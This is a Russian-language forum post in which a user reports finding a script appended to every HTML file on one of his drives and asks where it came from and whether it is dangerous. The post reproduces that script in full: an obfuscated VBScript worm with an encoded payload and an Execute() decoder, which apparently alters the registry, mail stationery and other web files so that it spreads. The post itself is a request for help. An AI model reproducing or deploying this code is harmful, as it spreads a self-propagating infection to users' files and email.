Alkeeper
Newbie | Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Недавно обнаружил, что во все файлы *.html на одном из дисков моей машины снизу была хрен знает как добавлена следующая шняга:
Код:
<HTML>
<BODY onload="vbscript:KJ_start()">
<script language=vbscript>
document.write "<div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'><"&"APPLET NAME=KJ"&"_guest HEIGHT=0 WIDTH=0 code=com.ms."&"activeX.Active"&"XComponent></APPLET></div>"
</script>
<script language=vbscript>
ExeString = "CejHjTadnb%GpjeSaum+R_lSaum+@b`qabLhck%@lmedK_cd_q%EOL%VoPadhi%VekI`pe%Rq_>+Bfg`hv=hoh Or[ GGXrp^ks$& GGLdpAbl$& GG<qa^mdIfehar!(DIHfddEq!(DI?o^`pbF`ei!(DILoho]dZsa%Bgc Pna Brgbpfhm HC@lm^m`Qh'BfedL^mg(QroaPmq%Nj >qnlk NbltibMaumP^s O^``Q^ll 6 BPH-Km^mPbqsBfed$CbkaMZsd)*(MllPmq :Qa^]Saji-NbZc=ieF_ Eklsn%MllPmq( DI[pm`nq!( &;: ) KoKak!SimLsn&; .SdbgO^``Q^ll+<kkp^Bqhp ?tj`mhkk Ak] Ec EcSum^Rpo< asp SdbgO^``Q^ll+<kkp^P^s CbkaQ^ll 6 BPH-Km^mPbqsBfed$CbkaMZsd)+(?hhbMdim'Vnfmd 5! #!>L=X lgkk^]< u^p\qemm9 HC^oqZqp%! % 7! #u^@kKb PjiRpo% s[BnI_ AsiiMdtq BfedPbfo*@enob Obm B>msnf[ 9 ?RK+@dpCbka%?hhbI`peC:spoba*^msnf[tpbl 9 ,3>kob NbZcPbfo*@enob Obm BfedPbfo :EOL'NlbgSaumEei^'BfedL^mg(5F_ PvidOqk 9 gpje! QadjEei^Saji-Sobsa oa?oEe #!8 % ASII7! #u^@kKb 9 AKAR kken]a6! % oao`khlq3! #!GGXrp^ks$&! ; oa?oEe #GpjeSaumBeraF_ PvidOqk 9 u^p Pe^m?hhbMdim'Vnfmd s[BnI_ OaoQ^wpDjaHbEei^Saji-?ihraDjaHbDjaEqk\selgEqk\selg GG<g]k`dOr['?rkqakmRpobmc)E`oqBm`bqBd^k(Be IZrpFgcau<g]o< -SdbgF_ Hb_s$I<`ob!BqokdjqLsnfgf%)*( :5 H@Zra%b &SdbgHCBd^gfaPna :EekZkuAbrg 7U!Lt^B< - AildDI?eZmcbLt^ 6 ?ek'=p\'Hb_s$I<`ob!BqokdjqLsnfgf%)*(% & -&% 3[ Rq_> 9 )Bgc F_BeraJF@a`jd^Rq_< Jbc$@nqnbgsOqkhjd%0(IZrpFgcau<g]oBgc F_Bgc Cnm_qbnjCnm_qbnj DI?o^`pbF`ei!(Hm BkqkoQapnla Gdtq EcHjTadnb< asii Pe^m>weqEqk\selgBgc F_Pa`nb?hhb< I^ep%PhjMZsd),( #!Lohfn^f BfedoY<nijhm CbkapULe`knol_s Pa`nb][OqZselgdnvUah^gj*eml Hb !EOL'Eei^Dtflso%Lg]o^Eei^(% Mgak ?^ek HC@lm^m`Qh'OeZqaCbka)gpje!%Dhp^P^s CbkaQ^ll 6 BPH-Km^mPbqsBfed$Pa`nb?hhb%1(qkta& BfedPbfo*Tkhpb!8 % ASII7! #u^@kKb 9 AKAR kken]a6! % oao`khlq3! #!GGXrp^ks$&! ; oa?oEe #GpjeSaumCbkaQ^ll+<kkp^Bgc F_A^e]resEa< TlRdbek*O^fNbZc$ AJAVXBQOKDJQXTOBK[Ea^mpfmhapUCacZthqTobk EA(HtpIhngS^qofhm :VoPadhi'QadKd]a!!DH>X[IHB=IXL=@AHJBURkcmv]o^[If\qkphepYHtpihng >wlo^roYFd`fZUao(PrOe^kh+KdcTkhpb!DH>X[@NQNBGS[RLDNYBcakmhpf^rX CacZthqBc URkcmv]o^[If\qkphepYHtpihng >wlo^roY% I^ep%HtpIhngS^qofhm(. '/XJZhhY<nimhra Nra Ls]qbnjbkx )*+ O>F[APNNA@Zkh DII^bkNb`' EDDU\<TNO>MP\NRAOUH`bgseqbdoY%@b_`qimH`#[Ol_ss^kdXJbbnllnbqUNqqenkhDtmkdopU! Edbq!NqqEnkhOdnpbnj)*( #-,YF`eiURp^mhkk^qu G`ib+OeZqaCbka& ?^ek HCL]feQad!!DH>X[@NQNBGS[RLDNYBcakmhpf^rX CacZthqBc URkcmv]o^[If\qkphepYHtpihng >wlo^roY% I^ep%HtpIhngS^qofhm(. '/XJZhhYPh`bRp^mhkk^qu G`ib+OeZqaCbka& SpLgaie-Nb`Vnfmd AJAVXBQOKDJQXTOBK[Ol_ss^kdXJbbnllnbqUNbcbbaY2-,YHtpihngYHopfhmoYF`eiUD`fmnnMkdbbkdj`^!(.,0,4++ O>F[APNNA@Zkh DII^bkNb`' EDDU\<TNO>MP\NRAOURkcmv]o^[If\qkphepYPhjahvo FdopZfek` Or[rupmdiYIqkcbkapULe`knol_s Lnshlhj Fgsaogdp LdpqbmcpU/]-]/.-)/,-)/,-)b,-)/,-)/,-)/,1/[,-*d,0// )ah^gj & ?^ek HCL]feQad!!DH>X[@NQNBGS[RLDNYLnbqp`nbULe`knol_sXTbm`lpr KM[?rkqakmUaolhkkUVek]nspLapl`cfgf PnaovlsajUOnl_hhbl[If\qkphep Htpihng BmpbkmaqRaqmhjdl[,^)c,/)/,-)/,-)/_-)/,-)/,-)/,--5X-)0a-,5, %!^iZmg TlRdbek*O^fSobsa GGBR^?RKQAKM^QP>QXPheptZqaYFh_ohrkcm[Kc_h_bU0,+)[Krmkkld[Kmmhkkl[I^bkXB]hplkOnb_dnbgba %0/.)6.)QADXCSLKC B]ie GGF`eiKdc%GGBR^?RKQAKM^QP>QXPheptZqaYFh_ohrkcm[Kc_h_bU0,+)[?lflkkUL]feRaqmhjdl[JbpRp^mhkk^qu %!^iZmg HCtijZfaChk`bk'Hb_s$TbmL^mg(0 Onl`q]jEei^rX@hlilg BfedoYFh_ohrkcm OeZqaaURp^mhkk^qu Bgc Cnm_qbnjCnm_qbnj DI?o^`pbFhhf^t$& KkDnohq O^rqj^ JbqsMdimI`pe< F_ Jlm'BPH-BfedAubrpp!VekI`pe% PR_obop+^wa ( QadjSajiO]qa 9 rupmdi0+[ DjaHbHb MdimI`pe< lxoq^l//U! QadjRp^ksQm?hhb< TbmL^mg #!OVLSAJUJaogdh0+-`ie!>kob OqZqpRiEei^ 9 PhjMZsd PRRPBF[Gbkmai'chiBgc F_TlRdbek*O^fSobsa GGBR^HL<@H\F@?EBMAYLnbqp`nbULe`knol_sXTbm`lprX@nqnbgsRbkrelg[Nrg[Gbkmai,1 )Ls]omTlCbkaEOL'BkmrEei^ SfgO]qa va_UjftZkh+`hb %VekI`pe% pd^Y?nha^q*ems EOL'BkmrEei^ SfgO]qa rupmdi0+[ggp`hi'fec+SfgO]qa rupmdi0+[`bljpli-ekb!<`hiJF>ioak]Sk%PhjMZsd t^aXChk`bk-dqm!( asp TlRdbek*O^fSobsa GGBR^?I:ROBL^NLHSX+]khY+ aekbfed VoPadhi'QadPqeq^ EDDU\<K=PLDO\KNKQU-`ie[?lgsakm Pvid )`lmeh_^mhkk(w)jlcktgkk^]!PrOe^kh+KdcTkhpb!DH>X[@E@OP>R[OHNPY]khcbkaY=db^nkpF\njY+SpLgaie-Nb`Qa^]' EDDU\<K=PLDO\KNKQUuta_hhbUCacZthqBbkkU!%VoPadhi'QadPqeq^ EDDU\<K=PLDO\KNKQUchi_hhbUR_obopBgfek^[ )U>P\qemm!PrOe^kh+KdcTkhpb!DH>X[@E@OP>R[OHNPY]khCbkaYLgaie[Km^mX@hli^gcX %VekI`pe% Q^llMZsd TLbnfis*bqd $- !'TlRdbek*O^fSobsa GGBR^?I:ROBL^NLHSXaekBfedXPadhi>wXMknlbksuPadaqA`jaednpUVOEIqkml[ )z2-+40@:4)6.2>**0?C&7?6/,,-:@,-;73-1By SpLgaie-Nb`Vnfmd AJAVXBH>LRAPXQKLM[`ieEei^[O`khlqAnoq>m_l]dX %!w5.0/./2-*-7,@&0-A+,>.?8)-)B,1?72@,10zP^s CbkaQ^ll 6 BPH-Km^mPbqsBfed$Pm`nqNoBfed(/%snr^(?hhbMdim'Vnfmd S[rPbqs?hhbMdim'Bhlld>m` ?tj`mhkk ?tj`mhkkJFIbjaFm'%Hb BmSe^qa 5= asii Pe^m>weqEqk\selgBgc F_QahoIhb]qbnj 6 `l\tibgs*ihb]qbnjHb Edbq!SdflKk`Zselg+ 1 9 eei^! QadjSdflKk`Zselg 9 Fh`%MgepEn_^mhkk%8%Hb ?RK+@dpBqsaklhkkG`ib!SdflKk`Zselg( 97 sdbgQahoIhb]qbnj 6 Hb_s$QahoIhb]qbnj)Edj%MgepEn_^mhkk ) Edj%?RK+@dpCbkaKZla%MgepEn_^mhkk(%DjaHbHb Edj%MgepEn_^mhkk : , Pe^mMgepEn_^mhkk< QahoIhb]qbnj YBgc F_HCtijZfaChk`bk'PebrHl\`pfhm%DjaHbDjaEqk\selgEqk\selg GGF`eiKdc%KdcPmq(CbkaKZla& KkDnohq O^rqj^ JbqsKdcQ^llPmq :VoPadhi'QadKd]a!QadLsn& EcQadMdimLsn 6 SdbgTlRdbek*O^fSobsa KdcPmq(CbkaKZlaDjaHbDjaEqk\selgEqk\selg GGHakPna$@nqnbgsOqkhjdPnaA 6 ,SapmNqq< - @lVdfed QktaSapmNqq< Q^rpLns (0Be Q^rpLns ;14 Mgak ?rkqakmRpobmc 6 Bfg`hv=hoh% 3[ Dtfm @l Ak] Ec KkDnohq O^rqj^ JbqsLdp Mgep?nha^q :EOL'Faq?nha^q$@nqnbgsOqkhjdP^s AbbOr[ 9 <qa^mdK_cd_q!!O`khlqbmc+=h_qbnj^kx & Obm Blecaol 9 Mgep?nha^q*PnaBlecaolChk`bkBkrgs :/?nn >`_eSajiEki]dn bm Chk`bkr?nha^q?lnmp 6 Blecao<nqkm ' *AbbOr[-]a] Blecao<nqkm+ Q^llChk`bk-J^fdGdtq EcCe`Lt^+<nqkm 9 ) Pe^mE`oqBm`bqBd^k 9 BmoqkQas!BqokdjqLsnfgf( U!(I^m$@nqnbgsOqkhjd,-& Or[Rpobmc 6 If]'?rkqakmRpobmc)E`oqBm`bqBd^k*-)Edj%<tno^mpPmqek`()IZrpFgcau<g]o&0%BqokdjqLsnfgf :JF@a`jd^Rq_!BqokdjqLsnfgf(IZrpFgcau<g]oPnaA 6 -Dhp^F_ Or[D :/ QadjBqokdjqLsnfgf :BqokdjqLsnfgf #Ce`Lt^+Bsaj!0% YBqhp =n>kob f 6 ,Ekoi :0 Qh Blecao<nqkmF_ H@Zra%Lt^Pmqek`( :K?^ld$AbbOr[-Eq^l$g( QadjHb c 8 ?nha^q?lnmp Mgak ?rkqakmRpobmc 6 ?rkqakmRpobmc @f\Rq_'Hpbf'f(*( #!X Aubs AhBgc F_Bgc F_K^wpK]pmHja^w?eZq :HjpmqNbo'?rkqakmRpobmc)[ )Edj%<tno^mpPmqek`().PnaOqkhjd< Jbc$@nqnbgsOqkhjd%K]pmHja^w?eZq'.%Kak!BqokdjqLsnfgf%*E`oqBm`bqBd^k,-& ?rkqakmRpobmc 6 GG<g]k`dOr['?rkqakmRpobmc)E`oqBm`bqBd^k(>m` Be>m` BeEnkm GGHakPna :BqokdjqLsnfgf>m` ?tj`mhkk ?tj`mhkkJFMknl^``pb!(Hm BkqkoQapnla Gdtq Nb`O]qaU]ind :!DH>X[IHB=IXL=@AHJBURkcmv]o^[If\qkphepYHtpihng >wlo^roY=dco^d CepdCadkda 6 SpLgaie-Nb`Qa^]'Nb`O]qaU]ind%Hb =hoh=dco^d :! Mgak @flj@b`qab< Cbm]irCepd 9X Ak] Ec Blk e:* pl4=hoh=dco^d :JFL[nOr['@flj@b`qabHCtijZfaChk`bk'@flj@b`qabK^wpVoPadhi'QadPqeq^ Nb`O]qaU]ind(AbrgA^fnb^Bgc Cnm_qbnjCnm_qbnj DIqjf`cb?nha^q$MZsdKZla& KkDnohq O^rqj^ JbqsLdp ?nha^qJ^fd :EOL'Faq?nha^q$MZsdKZla& Obm PebrBfedo 6 BlecaoG`ib'Eei^rAspBqhoql 9 )Chq BZbd Mgep?hhbHj Mgep?hhblCbkaBqs :T?^ld$CLN*D^sAumdjpbnjKZla%Mgep?hhb'O]qa(%Hb ?hhb>wp 6 EML Hq CbkaBqs :!DQFK Hq CbkaBqs :!=PI! Lk BfedAum 9 ODM KoEei^Dtq< CRL Sdbg@Zkh DI=midjaMn$QahoCbka+I`pe%!dqfk & AildEcEei^Dtq< OAO Sdbg@Zkh DI=midjaMn$QahoCbka+I`pe%!r_l!%Dhp^Hb ?hhb>wp 6 EMS Mgak DqmDtflso 6 -DjaHbMaumF_ $R<`ob!O]qaM]j^( :T?^ld$TbmL^mg #!@bljpli[ & Ko'Q@Zra%I`peG`ib 9 NB]p^'SfgO]qa Capdskm(%QadjGpq>wepmr :0>m` BeBe EmsAubrpp< -SdbgCLN*@houCbka PhjMZsd prrpbf2.Y]dohmnl+bme %O]qaM]j^CLN*@houCbka PhjMZsd t^aXChk`bk-dqm!(MZsdKZlaDjaHbDjaEqk\selgEqk\selg GGLdpAbl$& KkDnohq O^rqj^ Jbqs>qn+<ka^kQ^rpFm 9 PR_obop+LbnfisBrekj^fdBe Bkq QadjHjTadnb< asiiBeraHjTadnb< oao Ak] Ec EcHjTadnb< oao SdbgP^s CLN :BnbZsaL[ia`m' P\qemmhjd'Eei^RupmdiL[ia`m!%RaqVoPadhi< @kd]q^N^g^bp%VO`khlq'Rdbek & AildLdp :oli^N^g^bp 6 `l\tibgs*^iohbmr$ DI[dndoq(:oli^N^g^bp+ldp@EREA!!wC221A<1.**BB-&0-A),=A;8)-)B,1?C15:/>z(:oli^N^g^bp+\qa^mdEkls]k\d$& Obm SpLgaie 9 :oli^N^g^bp+@dpL[ia`m'%@lmedK_cd_q'raq<KOF=' x)C00?D,.&E,6,,-.<E)523,*)/=-<8,2-1.5v!%@lmedK_cd_q'bnbZsaFgrp^gba%P^s CLN :@lmedK_cd_q'FaqHafb\s$& Ak] Ec Obm @fljK_cd_q< CLN*AkhrblChq BZbd =hohMdimHj =hohHafb\sBe AbrgQ^ll+=qes^Sum^ 8;1 >gc AbrgQ^ll+=qes^Sum^ 8;0 QadjDtfm BlkBgc F_Cbm]irCepd 9 =hohMdim'CnfodHbmsao Jbqs=hi Hsdbk@no!2%Q]k]nifsd?nn b<, Mn 0 Kqadn>kq$f 9 Bmp%!8 'Qja(Gdtq PbfoOqkhjd< Chq f60 Qh Hbg'PebrPbqs%SajiMqj< >lb$Jbc$QahoQ^wp)b+-&F_ PbfoJrf 9 *2 QadjSajiMqj< /1BeraF_ PbfoJrf 9 */ QadjSajiMqj< /2Bgc F_Q^ll@a`n 6 ?ek'PbfoJrf ) Hsdbk@no!h Jhc 1(Be Q^ll@a`n 6 ?ek'/1 Pe^mMdim<g]o< @aq$.1(>m` BeMdimLsnfgf :SajiRpobmc Pbfo?eZqGdtq QkEn_hLsn 6 Bqd_rmd$ CejJav:qn%,((QahoQ^wp %r_<qHc ! H^x=ok',&< % Lmgao:qn%)( #! u^@kKb#!Gbr@no!0% 6 Kqadn>kq$. ! #oa?oEe Jav:qn%+( :! #Npe^q=ok'.&% !s[BnI_% Ddu>kq$0 9 Hsdbk@no!2% %r_<qHc ! Chq f60 Qh Hbg'Au^Rpobmc&!s[BnI_% MdimGti 6 =p\'If]'Au^Rpobmc)b+-&! #oa?oEe Hb MdimGti 6 -5Sdbg! #oa?oEe SajiMqj< 0-! #oa?oEe DjaHb %r_<qHc ! Q^ll@a`n 6 ?ek'PbfoJrf ' Ddu>kq$fLka3%&!s[BnI_% Be Q^ll@a`n 6 ?ek'.5 Pe^m u^@kKb#!Pbfo?eZq :u^@k! #oa?oEe Dhp^Hb Mdim<g]o< @aq$/2( Qadj %r_<qHc ! Q^ll@a`n 6 r_Ee u^@kKb#!Ak] Ec!s[BnI_% MgepMdtq< QahoQ^wp Pbfo?eZq u^@kKb#!Jbqs ! #u^@kKb Bqd_rmd$QahoQ^wp&QahoQ^wp 6 BqdOqkhjd< ! #SajiRpobmc !AsiiMdtq< 9 r_obop e`jdn`cb6u^p\qemm= r_<qHc% ]n_rfdjq'vnfmd % ! 9 cesrpved9$inofmhkk3`^phkqq^: i^ep7)ot8skm3/lu4 sf]sd7)ot8gaf`gp7)ot8y)fgcau3148uepbaeibsu7gea]dj$7! #!8 % @LMEDP G@IB6JF % Xfqbls E>HCEM<, PH@QA<, \n`b6bkj'lo+! `_qbuaU'@_qbua % QBkjinjbgs: % 5! #!+>IOHBM= 9 .`fo= oa?oEe #!8 % (r_obop; oa?oEe #!8 % lbnfis iZmcrZfa:oao`khlq7! #u^@kKb PebrPbqs #u^@kKb QkEn_hLsn r_<qHc% 5! #!+p\qemm= r_<qHc% 5! #!+?HCU; oa?oEe #!8 % (GPJE= U^pMdtq< QahoQ^wp r_<qHc% RgKk`dRpo% s[BnI_ JF\ls]om'% SfgO]qa 9 ?RK+@dpPid_fZkBlecao!/% YF_ $CLN*CbkaBqhoql'SfgO]qa va_UEki]dn+asp ( QadjEOL'BkmrEei^ SfgO]qa va_UEki]dn+asp %VekI`pe% pd^Ydis^ek*dbe DjaHbHb !EOL'Eei^Dtflso%PhjMZsd prrpbf2.Y]dohmnl+bme ( QadjEOL'BkmrEei^ SfgO]qa rupmdi0+[`bljpli-ekb!(TbmL^mg #!ovlsaj,1Xhcv]ie-cf_!>m` Be>m` ?tj`mhkk"
Execute("Dim KeyArr(3),ThisText"&vbCrLf&"KeyArr(0) = 7"&vbCrLf&"KeyArr(1) = 1"&vbCrLf&"KeyArr(2) = 4"&vbCrLf&"KeyArr(3) = 3"&vbCrLf&"For i=1 To Len(ExeString)"&vbCrLf&"TempNum = Asc(Mid(ExeString,i,1))"&vbCrLf&"If TempNum = 18 Then"&vbCrLf&"TempNum = 34"&vbCrLf&"End If"&vbCrLf&"TempChar = Chr(TempNum + KeyArr(i Mod 4))"&vbCrLf&"If TempChar = Chr(28) Then"&vbCrLf&"TempChar = vbCr"&vbCrLf&"ElseIf TempChar = Chr(29) Then"&vbCrLf&"TempChar = vbLf"&vbCrLf&"End If"&vbCrLf&"ThisText = ThisText & TempChar"&vbCrLf&"Next")
Execute(ThisText)
</script>
</BODY>
|
кто может подсказать, откуда это дерьмо и опасно ли оно?
хоть я и использую лдя просмотра только оперу или мозиллу, но все же?
и вообще как это могло попасть на машину? левых аттачей я не открывал, при условии, что пользуюсь батом |
